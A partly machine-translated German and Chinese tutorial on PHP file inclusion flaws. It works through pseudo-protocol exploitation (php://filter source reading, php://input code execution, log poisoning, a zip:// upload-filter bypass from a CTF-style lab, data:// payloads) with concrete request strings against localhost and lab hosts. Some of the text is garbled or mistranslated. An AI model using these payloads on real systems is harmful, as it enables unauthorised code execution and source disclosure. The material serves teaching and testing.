Heim > Artikel > Backend-Entwicklung > Lassen Sie uns die Dateieinbindung und die Nutzung des PHP-Pseudoprotokolls analysieren
Dieser Artikel bringt Ihnen verwandte Themen zu PHP, der hauptsächlich den relevanten Inhalt über die Dateieinbindung und die Dateieinschluss-Schwachstelle vorstellt, eine Art „Code-Injection“. alle.
Empfohlene Studie: „PHP-Video-Tutorial“
Die Schwachstelle beim Einbinden von Dateien ist eine Art „Code-Injection“. Das Prinzip besteht darin, ein Skript oder einen Code einzuschleusen, den der Benutzer steuern kann, und ihn vom Server ausführen zu lassen. Ein typischer Vertreter der „Code-Injection“ ist die Dateieinbindung.
Um die Schwachstelle bei der Dateieinbindung erfolgreich für einen Angriff auszunutzen, müssen die folgenden zwei Bedingungen erfüllt sein:
Webanwendungen verwenden include() und andere Dateieinschlussfunktionen, um Dateien einzuführen, die über dynamische Variablen eingebunden werden müssen
Benutzer können diese dynamische Variable steuern.
Gemeinsame Funktionen, die die Einbindung von Dateien bewirken:
PHP: include(), include_once(), require(), require_once() usw.;
1.php-Datei enthält Code, der die eingebundene Datei direkt ausführen kann, und die Eingebundenes Dateiformat Ohne Einschränkungen
In PHP stehen vier Funktionen zum Einbinden von Dateien zur Verfügung:
(1) Erforderlich: Wenn die eingebundene Datei nicht gefunden werden kann, wird ein schwerwiegender Fehler (E_COMPILE_ERROR) generiert und das Skript wird angehalten
(2) Einschließen : Kann nicht gefunden werden. Es wird nur eine (E_warinng) generiert, wenn die eingebundene Datei erreicht ist, und das Skript wird weiterhin ausgeführt.
(3) Require_once: Ähnlich wie bei include wird eine Warnung generiert, wenn die Datei Code wurde bereits eingebunden, er wird nicht noch einmal eingebunden;
PHP-Pseudoprotokoll ist eigentlich das Protokoll und Kapselungsprotokoll, das es unterstützt. Die unterstützten Protokolle sind:
file:// — 访问本地文件系统 php:// — 访问各个输入/输出流(I/O streams)data:// — 数据(RFC 2397)zip:// — 压缩流
all_url_include wurde nach PHP 5.2 hinzugefügt. Die sicheren und praktischen Einstellungen (Standardeinstellungen von PHP) sind:allow_url_fopen=on;all_url_include=off;
allow_url_fopen = On (Öffnen von URL-Dateien zulassen, aktiviert). standardmäßig)
allow_url_fopen = Aus (verbietet das Öffnen von URL-Dateien)
allow_url_include = Aus (verbietet das Referenzieren von URL-Dateien, neue Version fügt Funktionen hinzu, Standard ist aus)
allow_url_include = Ein (ermöglicht das Referenzieren von URL-Dateien, neue Version fügt Funktionen hinzu)
file:// Dateisystem ist das von PHP verwendete Standardkapselungsprotokoll und macht das lokale Dateisystem verfügbar.
Verwenden Sie das Protokoll „file://“, um das lokale phpinfo.php einzubinden Es handelt sich um php://filter und php://input. php://filter wird zum Lesen des Quellcodes verwendet:
php://input wird zum Ausführen von PHP-Code verwendet.http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\WWW\www\phpinfo.phpphp://filter benötigt Base64-Codierung beim Lesen von PHP-Dateien
allow_url_include = On
Erforderlich** *allow_url_include = Ein***
http://localhost/www/lfi.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.php
In den meisten Fällen istallow_url_include jedoch standardmäßig deaktiviert und
kann keine POST-Daten enthalten Fehlerprotokollaufzeichnung
Zunächst müssen Sie die Methode zum Löschen des Protokollpfads ermitteln.
Zur Vereinfachung des Testens habe ich zunächst den Inhalt des Protokolls zur einfachen Demonstration gelöscht.http://localhost/www/lfi.php?file=php://input POST <?system ('ipconfig')?>
F: phpstudyphpstudy_proExtensionsApache2.4.39logsaccess.log.1631750400
Verwenden Sie das Pseudoprotokoll file://, um das Protokoll zu lesen und festzustellen, dass phpinfo erfolgreich ausgeführt wurde
http://localhost/www/lfi.php?file=<?php phpinfo();?>
** zip:// & bzip2:// & zlib:// ** sind beide komprimierte Streams und können auf Unterdateien in komprimierten Dateien zugreifen. Es ist nicht erforderlich, einen Suffixnamen anzugeben und kann in ein beliebiges Suffix geändert werden: jpg, png, gif xxx usw.
分析源代码发现,文件上传采用了白名单限制策略,只能上传
“gif", “jpeg”, “jpg”, "png"四种后缀名的文件。
分析文件包含的源代码
Tips: the parameter is file! :) <!-- upload.php --><?php @$file = $_GET["file"]; echo $file; if(isset($file)) { if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70) { echo "<p> error! </p>"; } else { include($file.'.php'); } }?>
分析文件包含源代码,发现限制了部分伪协议和%00截断,且在include中自动添加了php后缀名,但是没有限制zip伪协议。
综上分析可以发现,在文件包含中利用zip伪协议,可以创建test.zip的压缩包,里面放着test.php的文件。
在文件上传时候将后缀名zip修改为png的后缀名,
test.php中写入木马
<?phpphpinfo ();?>
如下图所示
图片上传成功之后,利用文件包含和zip://协议去读取test.png中的test.php,发现phpinfo()被执行了,说明poc验证成功
http://172.22.32.25:42715/include.php?file=zip://upload/test.png%23test
条件:
allow_url_fopen:on allow_url_include :on
访问网址
http://localhost/www/lfi.php?file=data://text/plain,<?php phpinfo();?>
也可以使用base64编码,防止代码被过滤掉
file=data://text/plain,base64;PD9waHAgcGhwaW5mbygpPz4=
推荐学习:《PHP视频教程》
Das obige ist der detaillierte Inhalt vonLassen Sie uns die Dateieinbindung und die Nutzung des PHP-Pseudoprotokolls analysieren. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!